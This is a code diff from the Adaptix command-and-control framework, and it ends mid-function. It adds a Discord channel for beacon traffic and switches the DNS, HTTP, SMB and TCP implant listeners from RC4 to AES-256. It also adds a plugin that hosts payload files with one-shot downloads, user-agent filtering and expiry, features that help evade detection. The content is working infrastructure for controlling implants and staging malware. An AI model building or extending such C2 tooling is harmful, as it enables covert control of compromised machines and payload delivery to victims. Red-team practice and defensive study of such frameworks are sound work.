+ return nil +} + +// sendChunkedMessage splits a large message into Discord-compatible chunks +// Each chunk is raw base64 (no prefix) — the beacon concatenates all chunks +// in order (oldest first) and base64-decodes the result. +// Chunks are split at 4-byte boundaries to keep valid base64. +func (t *TransportDiscord) sendChunkedMessage(channelId string, content string) error { + if len(content) <= maxMessageSize { + return t.sendMessage(channelId, content) + } + + // Split at base64-safe boundary (multiple of 4) + chunkSize := (maxMessageSize / 4) * 4 // round down to 4-byte boundary + + for len(content) > 0 { + end := chunkSize + if end > len(content) { + end = len(content) + } + + chunk := content[:end] + content = content[end:] + + err := t.sendMessage(channelId, chunk) + if err != nil { + return fmt.Errorf("failed to send chunk: %v", err) + } + + time.Sleep(apiDelay) + } + + return nil +} + +// deleteMessage removes a message from a Discord channel +func (t *TransportDiscord) deleteMessage(channelId string, messageId string) error { + url := fmt.Sprintf("%s/channels/%s/messages/%s", discordAPIBase, channelId, messageId) + + req, err := http.NewRequest("DELETE", url, nil) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + // 204 No Content is the expected success response for DELETE + if resp.StatusCode != 204 && resp.StatusCode != 200 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} diff --git a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs index b470c6816..27c9bc1fb 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_dns/ax_config.axs @@ -30,7 +30,7 @@ function ListenerUI(mode_create) spinTTL.setValue(5); let labelEncryptKey = form.create_label("Encryption Key:"); - let textEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textEncryptKey = form.create_textline(ax.random_string(64, "hex")); textEncryptKey.setEnabled(mode_create); let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create); @@ -50,7 +50,7 @@ function ListenerUI(mode_create) spinBurstJitter.setValue(0); spinBurstJitter.setEnabled(false); - form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(32, "hex")); }); + form.connect(buttonEncryptKey, "clicked", function() { textEncryptKey.setText(ax.random_string(64, "hex")); }); form.connect(checkBurstEnabled, "stateChanged", function() { if(spinBurstSleep.getEnabled()) { spinBurstSleep.setEnabled(false); diff --git a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go index 68e5e0363..919cc7cab 100644 --- a/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_dns/pl_transport.go @@ -4,7 +4,8 @@ import ( "bytes" "compress/zlib" "context" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/base32" "encoding/base64" "encoding/binary" @@ -76,9 +77,8 @@ func validConfig(config string) error { return errors.New("domain is required") } - keyLen := len(conf.EncryptKey) - if keyLen < 6 || keyLen > 32 { - return errors.New("encrypt_key must be 6-32 characters") + if len(conf.EncryptKey) != 64 { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil @@ -263,17 +263,27 @@ func (t *TransportDNS) handleHI(req *dnsRequest, w dns.ResponseWriter) { } keyBytes, err := hex.DecodeString(t.Config.EncryptKey) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) + if err != nil { + return + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return + } + nonceSize := gcm.NonceSize() + if len(req.data) < nonceSize+gcm.Overhead() { + return + } + nonce, ciphertext := req.data[:nonceSize], req.data[nonceSize:] + fullBeat, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return } - - fullBeat := make([]byte, len(req.data)) - cipher.XORKeyStream(fullBeat, req.data) if len(fullBeat) < 8 { return @@ -303,7 +313,7 @@ func (t *TransportDNS) handleHB(req *dnsRequest) (needsReset bool, hasPendingTas } t.mu.Unlock() - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var ackOffset, ackTaskNonce uint32 if len(decrypted) >= 4 { @@ -346,7 +356,7 @@ func (t *TransportDNS) handleGET(req *dnsRequest, w dns.ResponseWriter) []byte { _ = Ts.TsAgentSetTick(req.sid, t.Name) } - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) var reqOffset uint32 if len(decrypted) >= 4 { @@ -398,7 +408,7 @@ func (t *TransportDNS) handlePUT(req *dnsRequest) putAckInfo { } t.mu.Unlock() - decrypted := rc4Crypt(req.data, t.Config.EncryptKey) + decrypted := aes256CTRStream(req.data, t.Config.EncryptKey) ack = t.handlePutFragment(req.sid, req.seq, decrypted, ack) if req.sid != "" { @@ -710,7 +720,7 @@ func (t *TransportDNS) buildDataResponse(req *dnsRequest, frame []byte, ttl uint } } - encrypted := rc4Crypt(frame, t.Config.EncryptKey) + encrypted := aes256CTRStream(frame, t.Config.EncryptKey) b64Str := base64.StdEncoding.EncodeToString(encrypted) var chunks []string @@ -957,21 +967,24 @@ func newUpDone(total uint32) *dnsUpDone { return ud } -// Utility Functions -func rc4Crypt(data []byte, keyHex string) []byte { +// AES-256-CTR stream cipher matching C++ CryptAES256Stream +func aes256CTRStream(data []byte, keyHex string) []byte { if len(data) == 0 { return data } keyBytes, err := hex.DecodeString(keyHex) - if err != nil || len(keyBytes) != 16 { + if err != nil || len(keyBytes) != 32 { return data } - cipher, err := rc4.NewCipher(keyBytes) + block, err := aes.NewCipher(keyBytes) if err != nil { return data } + ctr := make([]byte, aes.BlockSize) + ctr[15] = 1 + stream := cipher.NewCTR(block, ctr) result := make([]byte, len(data)) - cipher.XORKeyStream(result, data) + stream.XORKeyStream(result, data) return result } diff --git a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs index a71e75cee..7dfd53f8f 100644 --- a/AdaptixServer/extenders/beacon_listener_http/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_http/ax_config.axs @@ -38,7 +38,7 @@ function ListenerUI(mode_create) let textlineHB = form.create_textline("X-Beacon-Id"); let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) @@ -56,7 +56,7 @@ function ListenerUI(mode_create) ssl_group.setPanel(panel_group); ssl_group.setChecked(false); - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layoutMain = form.create_gridlayout(); layoutMain.addWidget(labelHost, 0, 0, 1, 1); diff --git a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go index ee9ad6bda..b49f2434d 100644 --- a/AdaptixServer/extenders/beacon_listener_http/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_http/pl_transport.go @@ -3,8 +3,9 @@ package main import ( "bytes" "context" + "crypto/aes" + "crypto/cipher" "crypto/rand" - "crypto/rc4" "crypto/rsa" "crypto/tls" "crypto/x509" @@ -145,9 +146,9 @@ func validConfig(config string) error { return errors.New("user_agent is required") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } if !strings.Contains(conf.WebPageOutput, "<<>>") { @@ -417,12 +418,23 @@ func (t *TransportHTTP) parseBeatAndData(ctx *gin.Context) (string, string, []by if err != nil { return "", "", nil, nil, errors.New("failed decrypt beat") } - rc4crypt, errcrypt := rc4.NewCipher(encKey) - if errcrypt != nil { - return "", "", nil, nil, errors.New("rc4 decrypt error") + block, err := aes.NewCipher(encKey) + if err != nil { + return "", "", nil, nil, errors.New("aes cipher error") + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, nil, errors.New("gcm error") + } + nonceSize := gcm.NonceSize() + if len(agentInfoCrypt) < nonceSize+gcm.Overhead() { + return "", "", nil, nil, errors.New("ciphertext too short") + } + nonce, ciphertext := agentInfoCrypt[:nonceSize], agentInfoCrypt[nonceSize:] + agentInfo, err = gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", "", nil, nil, errors.New("gcm decrypt error") } - agentInfo = make([]byte, len(agentInfoCrypt)) - rc4crypt.XORKeyStream(agentInfo, agentInfoCrypt) agentType = uint(binary.BigEndian.Uint32(agentInfo[:4])) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs index adb5686b7..178cb859d 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_smb/ax_config.axs @@ -11,14 +11,14 @@ function ListenerUI(mode_create) } let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go index 922a423b9..ad36b64fd 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -164,13 +165,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go index 5087af2b2..797407bf2 100644 --- a/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_smb/pl_transport.go @@ -34,9 +34,9 @@ func validConfig(config string) error { return errors.New("Pipename invalid") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil diff --git a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs index 83c28ae4f..9b58ee067 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs +++ b/AdaptixServer/extenders/beacon_listener_tcp/ax_config.axs @@ -15,14 +15,14 @@ function ListenerUI(mode_create) textlinePrepend.setEnabled(mode_create) let labelEncryptKey = form.create_label("Encryption key:"); - let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); textlineEncryptKey.setEnabled(mode_create) let buttonEncryptKey = form.create_button("Generate"); buttonEncryptKey.setEnabled(mode_create) let spacer2 = form.create_vspacer() - form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); let layout = form.create_gridlayout(); layout.addWidget(spacer1, 0, 0, 1, 3); diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go index 43b2f5b48..f664af1dd 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_main.go @@ -2,7 +2,8 @@ package main import ( "bytes" - "crypto/rc4" + "crypto/aes" + "crypto/cipher" "encoding/binary" "encoding/hex" "encoding/json" @@ -167,13 +168,23 @@ func (l *Listener) InternalHandler(data []byte) (string, error) { if err != nil { return "", err } - rc4crypt, err := rc4.NewCipher(encKey) + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + agentInfo, err := gcm.Open(nil, nonce, ciphertext, nil) if err != nil { return "", err } - - agentInfo := make([]byte, len(data)) - rc4crypt.XORKeyStream(agentInfo, data) agentType := fmt.Sprintf("%08x", uint(binary.BigEndian.Uint32(agentInfo[:4]))) agentInfo = agentInfo[4:] diff --git a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go index 3c964af82..1d908c6af 100644 --- a/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go +++ b/AdaptixServer/extenders/beacon_listener_tcp/pl_transport.go @@ -35,9 +35,9 @@ func validConfig(config string) error { return errors.New("Port must be in the range 1-65535") } - match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) - if len(conf.EncryptKey) != 32 || !match { - return errors.New("encrypt_key must be 32 hex characters") + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") } return nil diff --git a/AdaptixServer/extenders/hosting_service/Makefile b/AdaptixServer/extenders/hosting_service/Makefile new file mode 100644 index 000000000..13d860e2c --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building hosting service plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_hosting.so pl_main.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/hosting_service/ax_config.axs b/AdaptixServer/extenders/hosting_service/ax_config.axs new file mode 100644 index 000000000..0fbb71fa4 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/ax_config.axs @@ -0,0 +1,320 @@ +/// Hosting Service - UI + +let hostingDock = null; +let hostingTable = null; +let filesData = []; + +// ============================================================================ +// InitService - Called when service is loaded +// ============================================================================ + +function InitService() { + createHostingDock(); + loadFiles(); +} + +// ============================================================================ +// Data Handler - Receives data from server +// ============================================================================ + +function data_handler(data) { + try { + let json = JSON.parse(data); + let msgType = json.type; + + if (msgType === "files") { + filesData = json.data || []; + refreshTable(); + } + else if (msgType === "url") { + ax.clipboard_set(json.data.url); + ax.show_message("Hosting", "URL copied to clipboard:\n" + json.data.url); + } + else if (msgType === "event") { + handleEvent(json.event, json.data); + } + else if (msgType === "error") { + ax.show_message("Hosting Error", json.message); + } + } catch (e) { + ax.log_error("Hosting: parse error: " + e); + } +} + +// ============================================================================ +// Hosting Dock +// ============================================================================ + +function createHostingDock() { + hostingDock = form.create_ext_dock("hosting_files", "Hosted Files", ""); + + let mainLayout = form.create_vlayout(); + + // Toolbar + let toolbar = form.create_hlayout(); + + let btnAdd = form.create_button("Add File"); + let btnDelete = form.create_button("Delete"); + let btnToggle = form.create_button("Toggle"); + let btnCopyURL = form.create_button("Copy URL"); + let btnRefresh = form.create_button("Refresh"); + + toolbar.addWidget(btnAdd); + toolbar.addWidget(btnToggle); + toolbar.addWidget(btnCopyURL); + toolbar.addWidget(btnDelete); + toolbar.addWidget(form.create_hspacer()); + toolbar.addWidget(btnRefresh); + + let toolbarPanel = form.create_panel(); + toolbarPanel.setLayout(toolbar); + mainLayout.addWidget(toolbarPanel); + + // Table + hostingTable = form.create_table(["Path", "Filename", "MIME", "Size", "Downloads", "Status", "Created By", "Created"]); + hostingTable.setSortingEnabled(true); + hostingTable.setReadOnly(true); + mainLayout.addWidget(hostingTable); + + hostingDock.setLayout(mainLayout); + hostingDock.setSize(1000, 400); + hostingDock.show(); + + // Signals + form.connect(btnAdd, "clicked", function() { + showAddFileDialog(); + }); + + form.connect(btnDelete, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + if (ax.prompt_confirm("Delete File", "Remove this hosted file?")) { + ax.service_command("Hosting", "delete", {id: fid}); + } + } + }); + + form.connect(btnToggle, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + ax.service_command("Hosting", "toggle", {id: fid}); + } + }); + + form.connect(btnCopyURL, "clicked", function() { + let rows = hostingTable.selectedRows(); + if (rows.length === 0) return; + let fid = getFileIDByRow(rows[0]); + if (fid) { + ax.service_command("Hosting", "copyurl", {id: fid}); + } + }); + + form.connect(btnRefresh, "clicked", function() { + loadFiles(); + }); +} + +// ============================================================================ +// Add File Dialog +// ============================================================================ + +function showAddFileDialog() { + let dialog = form.create_dialog("Host File"); + dialog.setSize(600, 500); + + let pageLayout = form.create_vlayout(); + + // --- File Selection --- + let fileGrid = form.create_gridlayout(); + + let txtFilePath = form.create_textline(""); + txtFilePath.setPlaceholder("Select a file to host..."); + txtFilePath.setReadOnly(true); + let btnBrowse = form.create_button("Browse"); + let fileRow = form.create_hlayout(); + fileRow.addWidget(txtFilePath); + fileRow.addWidget(btnBrowse); + let filePanel = form.create_panel(); + filePanel.setLayout(fileRow); + + fileGrid.addWidget(form.create_label("File *"), 0, 0); + fileGrid.addWidget(filePanel, 0, 1); + + let txtPath = form.create_textline(""); + txtPath.setPlaceholder("/downloads/payload.exe"); + fileGrid.addWidget(form.create_label("URL Path"), 1, 0); + fileGrid.addWidget(txtPath, 1, 1); + + let txtMime = form.create_textline("application/octet-stream"); + fileGrid.addWidget(form.create_label("MIME Type"), 2, 0); + fileGrid.addWidget(txtMime, 2, 1); + + let fileInner = form.create_panel(); + fileInner.setLayout(fileGrid); + let grpFile = form.create_groupbox("File", false); + grpFile.setPanel(fileInner); + pageLayout.addWidget(grpFile); + + // --- Protections --- + let protGrid = form.create_gridlayout(); + + let chkOneShot = form.create_check("One-shot (auto-disable after first download)"); + protGrid.addWidget(chkOneShot, 0, 0, 1, 2); + + let chkEncrypt = form.create_check("AES-256-CBC encrypt content (key in X-Enc-Key header)"); + protGrid.addWidget(chkEncrypt, 1, 0, 1, 2); + + let txtUA = form.create_textline(""); + txtUA.setPlaceholder("Mozilla.*Windows.* (regex, empty = allow all)"); + protGrid.addWidget(form.create_label("UA Filter"), 2, 0); + protGrid.addWidget(txtUA, 2, 1); + + let spinMaxDL = form.create_spin(); + spinMaxDL.setRange(0, 999999); + spinMaxDL.setValue(0); + let maxDLRow = form.create_hlayout(); + maxDLRow.addWidget(spinMaxDL); + maxDLRow.addWidget(form.create_label(" 0 = unlimited")); + let maxDLPanel = form.create_panel(); + maxDLPanel.setLayout(maxDLRow); + protGrid.addWidget(form.create_label("Max Downloads"), 3, 0); + protGrid.addWidget(maxDLPanel, 3, 1); + + let txtExpiry = form.create_textline(""); + txtExpiry.setPlaceholder("2025-12-31T23:59:59 (empty = no expiration)"); + protGrid.addWidget(form.create_label("Expires At"), 4, 0); + protGrid.addWidget(txtExpiry, 4, 1); + + let protInner = form.create_panel(); + protInner.setLayout(protGrid); + let grpProt = form.create_groupbox("Protections", false); + grpProt.setPanel(protInner); + pageLayout.addWidget(grpProt); + + pageLayout.addWidget(form.create_vspacer()); + + dialog.setLayout(pageLayout); + + // Browse button + let selectedFilePath = ""; + form.connect(btnBrowse, "clicked", function() { + let path = ax.prompt_open_file("Select file to host", "All Files (*)"); + if (path) { + selectedFilePath = path; + txtFilePath.setText(path); + // Auto-fill path from filename + let parts = path.replace(/\\/g, "/").split("/"); + let fname = parts[parts.length - 1]; + if (!txtPath.text()) { + txtPath.setText("/" + fname); + } + } + }); + + let accepted = dialog.exec(); + if (accepted === true) { + if (!selectedFilePath) { + ax.show_message("Error", "Please select a file to host"); + return; + } + + let content = ax.file_read_base64(selectedFilePath); + if (!content) { + ax.show_message("Error", "Failed to read file"); + return; + } + + let parts = selectedFilePath.replace(/\\/g, "/").split("/"); + let fname = parts[parts.length - 1]; + + let req = { + filename: fname, + content: content, + path: txtPath.text(), + mime_type: txtMime.text(), + one_shot: chkOneShot.isChecked(), + encrypted: chkEncrypt.isChecked(), + ua_filter: txtUA.text(), + max_downloads: spinMaxDL.value(), + expires_at: txtExpiry.text() + }; + + ax.service_command("Hosting", "add", req); + } +} + +// ============================================================================ +// Table Helpers +// ============================================================================ + +function refreshTable() { + if (!hostingTable) return; + + hostingTable.setRowCount(0); + if (!filesData) return; + + for (let i = 0; i < filesData.length; i++) { + let f = filesData[i]; + let created = f.created_at ? f.created_at : ""; + let status = f.enabled ? "Active" : "Disabled"; + let dlStr = String(f.downloads || 0); + if (f.max_downloads > 0) { + dlStr += " / " + String(f.max_downloads); + } + + let sizeStr = formatSize(f.content_size || 0); + + hostingTable.addItem([ + f.path || "", + f.filename || "", + f.mime_type || "", + sizeStr, + dlStr, + status, + f.created_by || "", + created + ]); + } +} + +function getFileIDByRow(row) { + if (!filesData || row < 0 || row >= filesData.length) return null; + return filesData[row].id; +} + +function formatSize(bytes) { + if (bytes === 0) return "0 B"; + let units = ["B", "KB", "MB", "GB"]; + let i = 0; + let size = bytes; + while (size >= 1024 && i < units.length - 1) { + size = size / 1024; + i++; + } + if (i === 0) return String(size) + " B"; + return size.toFixed(1) + " " + units[i]; +} + +// ============================================================================ +// Event Handling +// ============================================================================ + +function handleEvent(eventType, data) { + if (eventType === "download") { + // Reload file list to reflect updated download count + loadFiles(); + } +} + +// ============================================================================ +// Data Loading +// ============================================================================ + +function loadFiles() { + ax.service_command("Hosting", "list", {}); +} diff --git a/AdaptixServer/extenders/hosting_service/config.yaml b/AdaptixServer/extenders/hosting_service/config.yaml new file mode 100644 index 000000000..cca80d930 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/config.yaml @@ -0,0 +1,5 @@ +extender_type: "service" +extender_file: "service_hosting.so" +ax_file: "ax_config.axs" +service_name: "Hosting" +service_config: "" diff --git a/AdaptixServer/extenders/hosting_service/go.mod b/AdaptixServer/extenders/hosting_service/go.mod new file mode 100644 index 000000000..55d4822e5 --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/go.mod @@ -0,0 +1,5 @@ +module adaptix_service_hosting + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/hosting_service/go.sum b/AdaptixServer/extenders/hosting_service/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/hosting_service/pl_main.go b/AdaptixServer/extenders/hosting_service/pl_main.go new file mode 100644 index 000000000..911c2107d --- /dev/null +++ b/AdaptixServer/extenders/hosting_service/pl_main.go @@ -0,0 +1,652 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "net/http" + "regexp" + "strings" + "sync" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Hosting" +const ExtenderName = "hosting_service" + +// ============================================================================ +// Data Model +// ============================================================================ + +type HostedFile struct { + ID string `json:"id"` + Path string `json:"path"` + Filename string `json:"filename"` + MimeType string `json:"mime_type"` + ContentSize int `json:"content_size"` + Encrypted bool `json:"encrypted"` + EncKey string `json:"enc_key,omitempty"` + UAFilter string `json:"ua_filter"` + OneShot bool `json:"one_shot"` + MaxDownloads int `json:"max_downloads"` + Downloads int `json:"downloads"` + ExpiresAt string `json:"expires_at"` + Enabled bool `json:"enabled"` + CreatedBy string `json:"created_by"` + CreatedAt string `json:"created_at"` +} + +// ============================================================================ +// Service struct +// ============================================================================ + +type HostingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + files map[string]*HostedFile +} + +var ( + Ts Teamserver + ModuleDir string + Service *HostingService +) + +// ============================================================================ +// Plugin Entry Points +// ============================================================================ + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &HostingService{ + ts: Ts, + moduleDir: moduleDir, + files: make(map[string]*HostedFile), + } + + Service.restoreFiles() + + return Service +} + +func (s *HostingService) Call(operator string, function string, args string) { + switch function { + + case "list": + s.HandleList(operator) + + case "add": + s.HandleAdd(operator, args) + + case "delete": + s.HandleDelete(operator, args) + + case "toggle": + s.HandleToggle(operator, args) + + case "copyurl": + s.HandleCopyURL(operator, args) + + case "host_payload": + s.HandleHostPayload(operator, args) + } +} + +// ============================================================================ +// Helpers: responses +// ============================================================================ + +func (s *HostingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +func (s *HostingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +func (s *HostingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +func (s *HostingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// ============================================================================ +// Helpers: ID generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generatePath() string { + b := make([]byte, 8) + rand.Read(b) + return "/" + hex.EncodeToString(b) +} + +// ============================================================================ +// Handlers +// ============================================================================ + +func (s *HostingService) HandleList(operator string) { + s.mu.RLock() + defer s.mu.RUnlock() + + var list []HostedFile + for _, f := range s.files { + list = append(list, *f) + } + s.sendResponseClient(operator, "files", list) +} + +func (s *HostingService) HandleAdd(operator string, args string) { + var req struct { + Filename string `json:"filename"` + Content string `json:"content"` // base64 + Path string `json:"path"` + MimeType string `json:"mime_type"` + OneShot bool `json:"one_shot"` + Encrypted bool `json:"encrypted"` + UAFilter string `json:"ua_filter"` + MaxDownloads int `json:"max_downloads"` + ExpiresAt string `json:"expires_at"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request: "+err.Error()) + return + } + + if req.Content == "" { + s.sendError(operator, "No file content provided") + return + } + + content, err := base64.StdEncoding.DecodeString(req.Content) + if err != nil { + s.sendError(operator, "Invalid base64 content: "+err.Error()) + return + } + + s.addFile(operator, req.Filename, content, req.Path, req.MimeType, req.OneShot, req.Encrypted, req.UAFilter, req.MaxDownloads, req.ExpiresAt) +} + +func (s *HostingService) 